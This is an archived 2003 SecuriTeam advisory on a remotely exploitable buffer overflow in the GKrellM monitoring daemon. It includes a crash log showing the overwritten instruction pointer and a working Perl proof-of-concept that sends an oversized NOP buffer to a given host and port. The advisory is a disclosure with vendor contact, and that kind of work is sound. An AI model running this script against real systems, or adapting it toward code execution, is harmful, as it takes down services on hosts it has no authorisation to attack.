[UNIX] GKrellM Vulnerable to Remotely Exploitable Buffer Overflow (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 06/24/03

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      GKrellM Vulnerable to Remotely Exploitable Buffer Overflow (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

     <http://web.wt.net/~billw/gkrellm/gkrellm.html> GKrellM is a single
    process stack of system monitors which supports applying themes to match
    its appearance to your window manager, Gtk, or any other theme. The daemon
    has been found to contain a security vulnerability that allows remote
    attackers to cause the daemon to crash, while executing arbitrary code.

    DETAILS

    When someone sends data to the GKrellMd, GKrellMd uses buffers to store
    this data, however, it doesn't check for the maximum buffersize
    (128bytes). This can result in remote executing of code and crashing of
    the daemon.

    Example:
    Verbose GKrellMd output:
    cyride-bash# gkrellmd -P 661 -V
    update_HZ=3
    connect string from client: gkrellm 2.1.10
    gkrellmd accepted client: dwop.darkwired.da.ru:43755
    received 141 bytes:
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAA
    Segmentation fault (core dumped)

    Debugger output (eip):
    cyride-bash# gdb gkrellmd gkrellmd.core
    (gdb) info reg
    eip 0x41414141 0x41414141

    Vendor status:
    The vendor has been contacted on 22-06-2003.

    Proof of concept:
    gkrellmcrash.pl:
    #!/usr/bin/perl -s
    use IO::Socket;
    #
    # proof of concept code
    # tested: grkellmd 2.1.10
    #

    if(!$ARGV[0] || !$ARGV[1])
     { print "usage: ./gkrellmcrash.pl <host> <port>\n"; exit(-1); }

    $host = $ARGV[0];
    $port = $ARGV[1];
    $exploitstring = "\x90"x156;
    $eip = "BCDE";

    $socket = new IO::Socket::INET (
     Proto => "tcp",
     PeerAddr => $host,
     PeerPort => $port);

    die "unable to connect to $host:$port ($!)\n" unless $socket;

    print $socket "gkrellm 2.1.10\n"; #tell the daemon wich client we have
    sleep(1);
    print $socket $exploitstring, $eip;

    close($socket);

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:dodo@darkwired.ath.cx> dodo.

    ========================================

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